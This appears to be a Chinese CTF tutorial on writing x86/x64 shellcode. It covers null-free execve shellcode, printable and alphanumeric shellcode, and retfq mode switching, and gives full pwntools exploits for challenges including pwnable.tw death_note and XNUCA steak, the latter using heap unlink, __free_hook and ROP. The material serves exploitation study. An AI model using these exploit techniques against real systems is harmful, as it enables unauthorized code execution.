什么是Shellcode:
shellcode是我们写入到程序的一段可执行代码,通过执行这串代码我们可以拿到靶机的shell,从而可以干你想干的事。不过现在的题目一般都对可以写入的位置做了限制,既可写不可执行。但如果是一道专门的shellcode题,则会在某一段加入可写可执行的权限,或则利用mprotect()或者_dl_make_stack_executable()改写某些区域的proc再执行。
32位的shellcode和64位的略有不同,这里我们先讲32位的shellcode。
x86:
我们先用C写一个调用shell的程序,其代码如下:
#include <stdio.h> #include <stdlib.h> int main() { execve("/bin/sh", 0, 0); return 0; }
编译成32位程序:gcc -m32 -g -o test1 test1.c,运行便可以拿到我们本机的shell。
我们调试一下看看是怎么调用execve()这个函数的。
这里我们进入到execve()函数里,发现是这样一串汇编代码:
执行后寄存器的值为:
我们可以发现再调用execve()函数之前,程序显示给相应的寄存器赋值,然后调用execve()函数。现在我们可以模仿这个调用机制来写相对应的汇编代码。
不过要注意的是,之前的是一个完整的C语言程序,但在shellcode中引入这么多头文件是不现实的,因此我们用int 80h系统调用(有关int 80h的知识读者可自行百度),再者写汇编时 “/bin/sh” 这个字符串需要我们手动压入栈中,写好的程序如下:
mov edx,0 mov ecx,0 push 0x68732f push 0x6e69622f mov ebx,esp mov eax,0xb int 0x80
编写一个测试程序如下:
// gcc main.c -m32 -z execstack -o main #include <stdio.h> int main() { void (*ptr)(); char buf[0x20]; puts("shellcode>>"); read(0, buf, 0x20); ptr = buf; ptr(); }
exp如下:
from pwn import * context.log_level = 'debug' context.arch = 'i386' p = process("./test") #gdb.attach(p) shellcode = asm(''' mov edx, 0 mov ecx, 0 push 0x68732f push 0x6e69622f mov ebx, esp mov eax, 0xb int 0x80 ''') info(disasm(shellcode)) p.sendafter("shellcode>>\n", shellcode) p.interactive()
运行一下exp就可以拿到我们本机的shell。这里我们观察一下shellcode的十六进制机器码:
总共占29个字节,而且包含很多坏字符'\x00',容易导致shellcode被截断失去作用。这时候我们就要对shellcode进行优化。
- mov edx, 0是对寄存器edx清零,占5个字节。xor edx, edx也是对edx寄存器清零,但是只占两个字节,因此我可以用xor指令进行替换
- 同理,把mov ecx, 0 替换为xor ecx, ecx
- mov eax, oxb其实是对寄存器eax低8位赋值,因此我们可以将其改为mov al, 0xb
优化后的shellcode为:
xor edx, edx xor ecx, ecx push 0x68732f push 0x6e69622f mov ebx, esp mov al, 0xb int 0x80
此时shellcode的大小变为20字节
另一种方法就是用mul指令来清零eax和edx,其代码如下:
mul ebx xor ecx, ecx mov al, 0xb push 0x0068732f push 0x6e69622f mov ebx, esp int 0x80
优化后的字节数也是20字节
x64:
同样,先写出一个完整的C程序观察如何调用shell,代码如下:
#include <stdio.h> #include <stdlib.h> int main() { execve("/bin/sh", 0, 0); return 0; }
编译运行并调试,有如下结果
然后模仿这个调用过程写出汇编代码:
mov rdx, 0 mov rsi, 0 mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp mov rax, 0x3b syscall
同样对shellcode进行优化,优化后的代码如下:
mov al, 59 push rbx push rbx pop rsi pop rdx mov rdi, 0x68732f6e69622f push rdi push rsp pop rdi syscall
题外:几个有用的命令
nasm -f elf64 shellcode.asm
ld -m elf_x86_64 -o shellcode shellcode.o
例题:
限制字符范围,禁用execve和open
查看题目保护:
用IDA分析程序时发现有禁用系统调用,如下:
且限制输入的字符ascii在0x1f到0x7f,即只能输入可见字符。
思路分析:
限制了系统调用不能getshell,所以采用orw。
由上图可知open函数是禁用的。这里我们先看看允许的系统调用号为多少。
由上可知,如果我们把程序改为32位运行,就可以使用open函数,之后又改为64位运行,就可以调用read、wirte函数。
修改程序运行模式需要用到retfq这个指令,这个指令有两步操作:ret和set cs。cs=0x23程序以32位模式运行,cs=0x33程序以64位模式运行。retfq这个指令参数是放在栈中,[rsp]为要执行的代码的地址,[rsp + 0x8]为0x23或0x33。需要的注意的是,在由64位变为32位后,rsp的值会变成非法值,故需先修复rsp的值在执行相应的代码
总体思路:
- mmap分配一段地址为4个16进制位的内存(如:0x40404040)。其有两个目的:生成地址可控的内存空间,方便用read写入code;防止程序变为32位后寄存器无法存储原本5个16进制位的地址。
- 用汇编实现read函数
- retfq改为32运行模式
- open打开flag文件
- retfq改为64位运行模式
- read
- wirte
踩坑记录:因为以前做到orw的题目用open打开后文件描述符一般都是3,所以这里我也用3作为参数,结果远程环境不是3,在这里浪费了好多时间
完成exp如下:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) DEBUG = 1 if DEBUG == 0: p = process('./shellcode') elif DEBUG == 1: p = remote('nc.eonew.cn', 10011) code_append = asm(''' push rcx pop rcx ''', arch = 'amd64', os = 'linux') # 用mmap分配一段内存空间 code_mmap = asm(''' /*mov rdi, 0x40404040*/ push 0x40404040 pop rdi /*mov rsi, 0x7e*/ push 0x7e pop rsi /*mov rdx, 0x7*/ push 0x37 pop rax xor al, 0x30 push rax pop rdx /*mov r8, 0*/ push 0x30 pop rax xor al, 0x30 push rax pop r8 /*mov r9, 0*/ push rax pop r9 /*syscall*/ push 0x5e pop rcx xor byte ptr [rbx+0x2c], cl push 0x5c pop rcx xor byte ptr [rbx+0x2d], cl /*mov rax, 0x9*/ push 0x39 pop rax xor al, 0x30 ''', arch = 'amd64', os = 'linux') code_read = asm(''' /*mov rsi, 0x40404040*/ push 0x40404040 pop rsi /*mov rdi, 0*/ push 0x30 pop rax xor al, 0x30 push rax pop rdi /*mov rdx, 0x7e*/ push 0x7e pop rdx /*mov rax, 0*/ push 0x30 pop rax xor al, 0x30 /*syscall*/ push 0x5e pop rcx xor byte ptr [rbx+0x4f], cl push 0x5c pop rcx xor byte ptr [rbx+0x50], cl ''', arch = 'amd64', os = 'linux') code_retfq = asm(''' /* 算出0x48 */ push 0x39 pop rcx xor byte ptr [rbx + 0x71], cl push 0x20 pop rcx xor byte ptr [rbx + 0x71], cl /* * 利用无借位减法算出0xcb */ push 0x47 pop rcx sub byte ptr [rbx + 0x72], cl sub byte ptr [rbx + 0x72], cl push rdi push rdi push 0x23 push 0x40404040 pop rax push rax ''', arch = 'amd64', os = 'linux') code_open = asm(''' /* open函数 */ mov esp, 0x40404550 push 0x67616c66 mov ebx, esp xor ecx, ecx xor edx, edx mov eax, 0x5 int 0x80 mov ecx, eax ''', arch = 'i386', os = 'linux') code_retfq_1 = asm(''' /* retfq */ push 0x33 push 0x40404062 /* 具体数字有待修改 */ retfq ''', arch = 'amd64', os = 'linux') code_read_write = asm(''' /* 修复栈 */ mov esp, 0x40404550 /* 有待修改 */ /* read函数 */ mov rdi, rcx mov rsi, 0x40404800 mov rdx, 0x7a xor rax, rax syscall /* write函数 */ mov rdi, 0x1 mov rsi, 0x40404800 mov rdx, 0x7a mov rax, 0x1 syscall ''', arch = 'amd64', os = 'linux') #gdb.attach(p, 'b * 0x4002eb\nc\nsi') code = code_mmap code += code_append code += code_read code += code_append code += code_retfq code += code_append code1 = code_open code1 += code_retfq_1 code1 += code_read_write p.sendafter("shellcode: ", code) #pause() p.sendline(code1) p.interactive() p.close()
编写code时的一些小技巧:
1、用push、pop来给寄存其赋值 push rax pop rax 2、用寄存器代替操作数 xor byte ptr [rax + 0x40], 0x50 80 70 40 50 可用如下代码代替 push 0x50 6a 50 pop rcx 59 xor byte ptr [rax + 0x40], cl 30 48 40 3、清零某一寄存器可用如下代码 push 0x30 6a 30 pop rax 58 xor al, 0x30 34 30 4、尽量使用al、bl、cl而非dl 5、有时候交换两个寄存器的位置可以减小机器码值的大小
orw:
32位程序,题目为比较简单,没有字符限制,直接上exp:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./orw') code = asm(''' /* open */ push 0 push 0x67616c66 mov ebx, esp /* 第一个参数的地址 */ xor ecx, ecx xor edx, edx mov eax, 5 /* 系统调用号 */ int 0x80 /* read */ mov ebx, eax /* 文件描述符 */ mov ecx, 0x0804a050 /* 写入数据的内存地址 */ mov edx, 0x20 /* 读取数据的长度 */ mov eax, 0x3 /* 系统调用号 */ int 0x80 /* write */ mov ebx, 1 /* 文件描述符 */ mov ecx, 0x0804a050 /* flag地址 */ mov edx, 0x20 /* 打印的数据长度 */ mov eax, 0x4 /* 系统调用号 */ int 0x80 ''', arch = 'i386', os = 'linux') #gdb.attach(p, 'b * 0x0804858a\nc\nsi') p.sendafter("shellcode:", code + '\x00') p.interactive()
限制字符在[0-9]、[A-Z]:
题目源代码:
// gcc -m32 -z execstack -fPIE -pie -z now chall2.c -o chall2 int main() { char buf[0x200]; int n, i; n = read(0, buf, 0x200); if (n <= 0) return 0; for (i = 0; i < n; i++) { if(!((buf[i] >= 65 && buf[i] <= 90) || (buf[i] >= 48 && buf[i] <= 57))) // 0~9 A~Z return 0; } ((void(*)(void))buf)(); }
这个shellcode我们可以用工具生成,具体看博客
exp如下:
from pwn import * context.terminal = ['tmux', 'splitw', '-h'] p = process('./chall2') payload1 = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA" info(len(payload1)) p.send(payload1) p.interactive()
Death_note:
这题把字符限制在可见字符范围内,且输入的shellcode长度不得超过0x50。这个还是比较好编写的。具体的可用的指令如下:
1.数据传送: push/pop eax… pusha/popa 2.算术运算: inc/dec eax… sub al, 立即数 sub byte ptr [eax… + 立即数], al dl… sub byte ptr [eax… + 立即数], ah dh… sub dword ptr [eax… + 立即数], esi edi sub word ptr [eax… + 立即数], si di sub al dl…, byte ptr [eax… + 立即数] sub ah dh…, byte ptr [eax… + 立即数] sub esi edi, dword ptr [eax… + 立即数] sub si di, word ptr [eax… + 立即数] 3.逻辑运算: and al, 立即数 and dword ptr [eax… + 立即数], esi edi and word ptr [eax… + 立即数], si di and ah dh…, byte ptr [ecx edx… + 立即数] and esi edi, dword ptr [eax… + 立即数] and si di, word ptr [eax… + 立即数] xor al, 立即数 xor byte ptr [eax… + 立即数], al dl… xor byte ptr [eax… + 立即数], ah dh… xor dword ptr [eax… + 立即数], esi edi xor word ptr [eax… + 立即数], si di xor al dl…, byte ptr [eax… + 立即数] xor ah dh…, byte ptr [eax… + 立即数] xor esi edi, dword ptr [eax… + 立即数] xor si di, word ptr [eax… + 立即数] 4.比较指令: cmp al, 立即数 cmp byte ptr [eax… + 立即数], al dl… cmp byte ptr [eax… + 立即数], ah dh… cmp dword ptr [eax… + 立即数], esi edi cmp word ptr [eax… + 立即数], si di cmp al dl…, byte ptr [eax… + 立即数] cmp ah dh…, byte ptr [eax… + 立即数] cmp esi edi, dword ptr [eax… + 立即数] cmp si di, word ptr [eax… + 立即数] 5.转移指令: push 56h pop eax cmp al, 43h jnz lable <=> jmp lable 6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax 7.清零: push 44h pop eax sub al, 44h ; eax = 0 push esi push esp pop eax xor [eax], esi ; esi = 0
exp如下:
#-*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) #p = process('./death_note') p = remote('chall.pwnable.tw', 10201) def Add(index, content): p.sendlineafter('Your choice :', '1') p.sendlineafter('Index :', str(index)) p.sendafter('Name :', content) def Show(index): p.sendlineafter('Your choice :', '2') p.sendlineafter('Index :', str(index)) def Delete(index): p.sendlineafter('Your choice :', '3') p.sendlineafter('Index :', str(index)) #gdb.attach(p, 'b * 0x08048770\nc\nb * 0x080487c0\nb * 0x08048873\nc 3\nc 3\nsi') shellcode = asm(''' /* 计算/bin/sh 13 */ push 0x2b pop ecx sub byte ptr [eax+0x44], cl sub byte ptr [eax+0x48], cl /*计算ebx*/ push eax pop ecx xor al, 0x44 push eax pop ebx /* 计算int 0x80 */ push ecx pop eax push 0x40 pop ecx sub byte ptr [eax+0x37], cl push 0x43 pop ecx sub byte ptr [eax+0x37], cl push 0x60 pop ecx sub byte ptr [eax+0x38], cl push 0x70 pop ecx sub byte ptr [eax+0x38], cl /* 清零ecx, edx 9 */ push 0x40 pop eax xor al, 0x40 push eax pop ecx push eax pop edx push 0x4b pop eax xor al, 0x40 ''') payload = shellcode payload += '\x50'*13 payload += 'ZbinZsh\n' Add(-19, payload) Delete(-19) p.interactive()
2018-XNUCA steak:
这道题不是单纯的编写shellcode的题目,这个题结合了堆利用、ROP、shellcode、IO_FILE等知识,是一道综合能力比较强的题目。
在用IDA分析时看到有prctl函数,所用先用seccomp工具查看禁用的系统调用。
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x35 0x00 0x01 0x000000c8 if (A < tkill) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007 0006: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0007: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0009 0008: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0009: 0x15 0x00 0x01 0x0000002a if (A != connect) goto 0011 0010: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0011: 0x15 0x00 0x01 0x0000002b if (A != accept) goto 0013 0012: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0013: 0x15 0x00 0x01 0x0000002c if (A != sendto) goto 0015 0014: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0015: 0x15 0x00 0x01 0x0000002d if (A != recvfrom) goto 0017 0016: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0017: 0x15 0x00 0x01 0x0000002e if (A != sendmsg) goto 0019 0018: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0019: 0x15 0x00 0x01 0x0000002f if (A != recvmsg) goto 0021 0020: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0021: 0x15 0x00 0x01 0x00000030 if (A != shutdown) goto 0023 0022: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0023: 0x15 0x00 0x01 0x00000031 if (A != bind) goto 0025 0024: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0025: 0x15 0x00 0x01 0x00000032 if (A != listen) goto 0027 0026: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0027: 0x15 0x00 0x01 0x00000035 if (A != socketpair) goto 0029 0028: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0029: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0031 0030: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0031: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0033 0032: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0033: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0035 0034: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0035: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0037 0036: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0037: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0039 0038: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0039: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0041 0040: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0041: 0x06 0x00 0x00 0x7fff0000 return ALLOW
这题我在看大佬博客时说因为禁用里fork调用,所以不能用getshell这个方法,目前我也每弄清除为啥。
接下来看下程序本身的漏洞。
在add函数中读入数据时最后字符串不会添加'\x00'
在delete函数中free后没用清空指针
在edit函数中存在堆溢出
程序中还有其他漏洞,不过我们需要利用的就只有这几个。
思路分析:
- 程序中管理分配的chunk的数组地址是可控的,可以利用unlink来控制数组,从而达到任意地址写的目的
- 程序中没有leak函数,所以我们需要修改stdout表来泄漏动态链接表加载基址
- 向free_hook中写入puts函数泄漏栈地址(free函数对要释放的chunk的有严格的检查机制,这道题要把栈当作堆来释放,明显不符合chunk的格式,但在free时却不会报错,目前每理清楚)
- 向.bss节写入orw的代码
- mprotect修改.bss节可执行
完整的exp如下:
# -*- coding:utf8 -*- from pwn import * context(os = 'linux', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h'] p = process('./steak') libc = ELF('libc-2.23.so') def Add(size, buf): p.sendlineafter('>\n', '1') p.sendlineafter('input buf size:\n', str(size)) p.sendafter('input buf', buf) def Delete(index): p.sendlineafter('>\n', '2') p.sendlineafter('input index:\n', str(index)) def Edit(index, size, buf): p.sendlineafter('>\n', '3') p.sendlineafter('input index:\n', str(index)) p.sendlineafter('input size:\n', str(size)) p.sendafter('input new buf:\n', buf) def Copy(sindex, dindex, length): p.sendlineafter('>\n', '4') p.sendlineafter('input source index:\n', str(sindex)) p.sendlineafter('input dest index:\n', str(dindex)) p.sendlineafter('input copy length:\n', str(length)) def Edit1(index, size, buf): p.sendlineafter('>', '3') p.sendlineafter('input index:', str(index)) p.sendlineafter('input size:', str(size)) p.sendafter('input new buf:', buf) # unlink Add(0x80, 'A'*0x80) #0 Add(0x80, 'A'*0x80) #1 Add(0x80, 'A'*0x80) #2 Add(0x80, 'A'*0x80) #3 Add(0x80, 'A'*0x80) #4 payload = p64(0) + p64(0x81) + p64(0x6021a0) + p64(0x6021a8) + 'A'*0x60 + p64(0x80) + p64(0x90) Edit(3, 0x90,payload) Delete(4) # 修改stdout,leak payload = p64(0x6021a0) + p64(0x602180) Edit(3, 0x10, payload) Copy(1, 0, 0x8) payload = p64(0xfbad1800) + p64(0)*3 + '\x00' Edit(0, 0x21, payload) p.recv(0x18) libc_base = u64(p.recv(8)) - 0x3c36e0 libc.address = libc_base """ 将栈地址写入到索引为0的数组中 """ ############ 写入栈地址,为free函数泄漏栈地址作准备 ################# environ_addr = libc.symbols['environ'] payload = p64(0x6021a0) + p64(environ_addr) Edit1(3, 0x10, payload) ############ 向free_hook汇总写入puts ################### free_hook = libc.symbols['__free_hook'] puts_addr = libc.symbols['puts'] Edit1(3, 0x8, p64(free_hook)) Edit1(0, 0x8, p64(puts_addr)) ############# Delete(1),泄漏栈地址 ################ p.sendlineafter('>', '2') p.sendlineafter('input index:', str(1)) p.recvuntil('\n') stack_addr = u64(p.recv(6) + '\x00\x00') info("stack_addr ==> " + hex(stack_addr)) ################# 在0x602500中写入retfq orw ############## retfq = 0x811dc + libc.address orw = asm(''' mov esp, 0x6029f0 /* open */ mov ebx, 0x602544 mov ecx, 0 mov edx, 0 mov eax, 5 int 0x80 /* read */ mov ebx, eax mov ecx, 0x602800 mov edx, 0x40 mov eax, 3 int 0x80 /* write */ mov ebx, 1 mov ecx, 0x602800 mov edx, 0x40 mov eax, 4 int 0x80 ''', arch = 'i386', os = 'linux') Edit1(3, 0x8, p64(0x602500)) Edit1(0, len(orw) + 4, orw + 'flag') ############ mprotect ################# mprotect = libc.symbols['mprotect'] info("mprotect ==> " + hex(mprotect)) stack_ret_addr = stack_addr - 0xf0 pop_rdi = 0x0000000000400ca3 pop_rsi = libc_base + 0x202e8 pop_rdx = libc_base + 0x1b92 rop = p64(pop_rdi) + p64(0x602000) rop += p64(pop_rsi) + p64(0x1000) rop += p64(pop_rdx) + p64(7) rop += p64(mprotect) rop += p64(retfq) rop += p64(0x602500) rop += p64(0x23) + p64(0x602500) # retfq的参数 Edit1(3, 0x8, p64(stack_ret_addr)) Edit1(0, len(rop), rop) p.sendlineafter('>', '5') p.interactive()